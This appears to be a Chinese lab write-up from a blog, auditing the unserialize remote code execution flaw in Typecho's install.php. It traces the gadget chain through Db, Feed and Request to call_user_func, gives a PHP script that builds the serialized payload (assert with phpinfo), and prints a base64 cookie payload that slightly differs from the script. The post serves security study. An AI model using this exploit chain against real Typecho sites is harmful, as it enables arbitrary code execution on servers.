Typecho靶场PHP反序列化漏洞解析

什么是序列化、反序列化?

把对象、数据结构转变为不同环境中可互相传输的特定数据格式,如二进制010101010,就称为序列化,反之称为反序列化。
查找反序列化漏洞的关键点:
  • 序列化、反序列化函数serialize、unserialize
  • 序列化和反序列化的参数一般都是对象、实例
  • 结合以下常见魔术函数
    • __construct() 在创建对象的时候自动调用
    • __destruct() 在销毁对象的时候自动调用
    • __sleep() 在序列化的时候自动调用
    • __wakeup() 在反序列化的时候自动调用
    • __toString() 在echo或者print对象的时候被调用
    • __get() 访问一个不存在的成员变量或访问一个private和protected成员变量时调用
    • __call() 在对象中调用一个不可访问方法时调用
    • __set() 设置一个类的成员变量时调用
    • __isset() 当对不可访问属性调用isset()或empty()时调用
    • __unset() 当对不可访问属性调用unset()时被调用
  • 结合代码审计查找序列化反序列化函数、魔术函数

审计项目代码

查找反序列化函数

进入/install.php文件解析代码

在第230行找到关键代码,但是同时发现有else条件存在,说明可能需要一定的条件才能到这里,在这里加入代码测试一下。

没有任何输出,说明条件没有达到,继续往前审计代码。

发现58行开始这里有一堆exit,如果不满足这些条件就会exit,59-60行代码检测了get是否传参finish以及和本地是否有/config.inc.php这个文件(此文件在初始化数据库后会自动生成)以及$_SESSION中是否有typecho这个参数。64-77行检测了请求头中是否有referer,referer还必须和请求头中的Host保持一致。
也就是需要传一个finish参数、加一个referer、cookie里面再传入一个反序列化时需要get的参数(随便给个值)就可以了,下面抓包修改数据。

修改好了,放包

说明已经到达我们反序列函数的位置,前置条件完成,继续往下对install.php的第230行代码进行审计
//反序列化,说明传入的东西可以是个对象。
unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
//对传入的参数base64解码
base64_decode(Typecho_Cookie::get('__typecho_config'));
//调用Typecho_Cookie类中的get方法,__typecho_config为传入的可控参数
Typecho_Cookie::get('__typecho_config');
找到get方法的位置var/Typecho/Cookie.php第83行
//get方法接收参数$key='__typecho_config',$default = NULL
public static function get($key, $default = NULL)
    {
        //$_prefix . $key拼接给$key
        //private static $_prefix = '';
        $key = self::$_prefix . $key;
        //判断$_COOKIE[$key]是否存在,
        //true将$_COOKIE[$key]给$value,
        //flase判断$_POST[$key]是否存在,存在将$_POST[$key]赋给$value,不存在将NULL赋值给$value。
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        //判断$value是否是数组,是就返回$default,不是就返回$value
        return is_array($value) ? $default : $value;
    }
总体就是获取cookie或者post里面的$key并赋值给$value,并且$value不能是数组,否则会被置空。可以看到并没有对传入的值做什么过滤,就是不能为数组。回到install.php继续往下第231行
//调用delete
Typecho_Cookie::delete('__typecho_config');
//delete接收一个参数$key=__typecho_config
public static function delete($key)
    {
        //调用$_prefix拼接__typecho_config
        //private static $_prefix = '';
        $key = self::$_prefix . $key;
        //如果cookie中不存在$key,结束函数
        if (!isset($_COOKIE[$key])) {
            return;
        }
        //设置cookie,key='',时间..,路径为/
        setcookie($key, '', time() - 2592000, self::$_path);
        //删除$_COOKIE[$key]
        unset($_COOKIE[$key]);
    }
没什么用,继续往下第232行
//实例化了一个Typecho_Db,并且传入了一个数组config两个键adapter,prefix。
$db = new Typecho_Db($config['adapter'], $config['prefix']);
这里创建了一个对象,马上联想到魔法函数construct,找到Typecho_Db这个类查看。var/Typecho/Db.php第114行
//查看此对象的类是否有输出
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 可以发现传入的参数为数组,$adapterName即为数组, */
        $this->_adapterName = $adapterName;
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
//这里发现了一个拼接,如果$adapterName是一个对象,那肯定会调用__toString函数
       $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
运算符连接$adapterName,如果$adapterName是对象则会调用toString,下面去找一下是否有满足条件的toString。
其他的看过了没有条件,进入/var/Typecho/Feed.php

第290行

//当前文件第112行定义了属性
private $_items = array();
可以看到这个$item,在当前文件284行发现$item是遍历_item其中的一个值。这里调用了$item['author']中的screenName,那如果我们自定义传入一个$__items中的$item['author']为一个对象,任何调用的screenName不存在或者为私有的、保护的,就会去自动调用魔术函数get,这是一条出路,现在去找一个有魔术get但是screenName不存在或者为私有的、保护的类。

第10个,/var/Typecho/Request.php下第267行,当前类名为Typecho_Request
   public function __get($key)
    {
        return $this->get($key);
    }
接收了一个参数,那我们就构造$__items中的$item['author']为new一个当前Typecho_Request类的对象,让screenName为私有的传入进来到get魔术函数。这条pop链还没断,传入的参数可以直达,继续往下找传入的get方法。
第293行
可以看到 $value = $this->_params[$key];把这个属性中的$key赋值给value了
 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
在第当前文件的第25行发现定了一个私有属性$_params数组,也就是说如果把传入的screenName放到里面就刚刚好,既满足私有的属性去调用魔术函数__get,也可以继续将传入的值给value。
private $_params = array();
继续往下查看value去哪儿了,在get函数的最后发现把value传入了_applyFilter
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
//最后输出了一个_applyFilter($value);继续跟进
定位到当前_applyFilter函数,当前文件第159行
    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                //如果传入的value是数组就map,不是就call,很显然我们传入的是字符串会调用call_user_func。
                $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
            }
​
            $this->_filter = array();
        }
​
        return $value;
    }
//可以看到$value值必然会在其中一个array_map或者call_user_func函数输入。
//array_map和call_user_func为RCE漏洞函数,他们都可以动态的执行函数,第一个参数表示要执行的函数的名称,第二个参数表示要执行的函数的参数。
查看一下_filter是什么,当前文件第120行。一个数组。
private $_filter = array();
所以主要把传入的screenName等于一个phpinfo();或者其他危险函数,把$_filter的数组中加入eval、assert,或者直接上传文件等等,到这里就形成了一条完整的ROP链。

审计结束

梳理一下流程
数据的输入点在install.php文件的232行,读取我们传入的序列化的数据(__typecho_config)。然后根据我们构造的数据,程序会进入Typecho_Cookie::get过滤数组,然后往下进入Db.php的__construct()函数,将我们传入的序列化的数据中的adapter=》$adapterName、prefix=》typecho_,然后触碰到拼接$adapterName,所以我们传入的adapter需要是一个对象,因为需要后续进入Feed.php的__toString()函数(在Typecho_Feed中),所以adapter需要是new一个Typecho_Feed来触发进入,在__toString()函数中要触发screenName为私有且不能被$item['author']调用,然后触发Request.php中的__get魔术方法,__get魔术方法把传入的screenName传给get方法,get把_params中的screenName的值传给了_applyFilter()函数,_applyFilter()函数把收到的screenName的值和Typecho_Request类中的$_filter,作为参数给call_user_func($filter, $screenName)。最后由call_user_func实现任意代码执行,整个ROP链形成。
所以我们要做的就是
  • GET中写入finish的参数。
  • 请求头中写入referer,且和host保持一致。
  • 构造payload作为__typecho_config参数的值写入cookie中。
    • 传入的adapter需要是一个对象,是new一个Typecho_Feed。
    • 需要写一个Typecho_Feed类,要让其中的 $items['author']为一个对象去触发。Typecho_Request中的__get。
    • 需要写一个Typecho_Request类,写入screenName为_params数组的一个键,screenName的值为call_user_func中传入回调函数的参数。自定义写一个filter为call_user_func被调的回调函数。
    • 序列化并base64编码。
构造ROP
<?php
​​​​​​​class Typecho_Feed 
{    
    private $_type = 'ATOM 1.0';    
    private $_charset = 'UTF-8';    
    private $_lang = 'en';    
    private $_items = array(); ​   
    public function __construct()
    {     
        $items['author'] =new Typecho_Request();                
        $this->_items[0] = $items;
        $items['category'] = array(new Typecho_Request());
    } 
}

class Typecho_Request
{
    private $_filter = array();
    private $_params = array();
    public function __construct()
    {
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'phpinfo();';
    }
}

$end = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho');
echo base64_encode(serialize($end));
?>
访问构造的文件获取编码后的序列化数据 
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aTotMTt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aTotMTt9fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9

抓包传入参数验证

成功拿到探针,over

  • 10
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值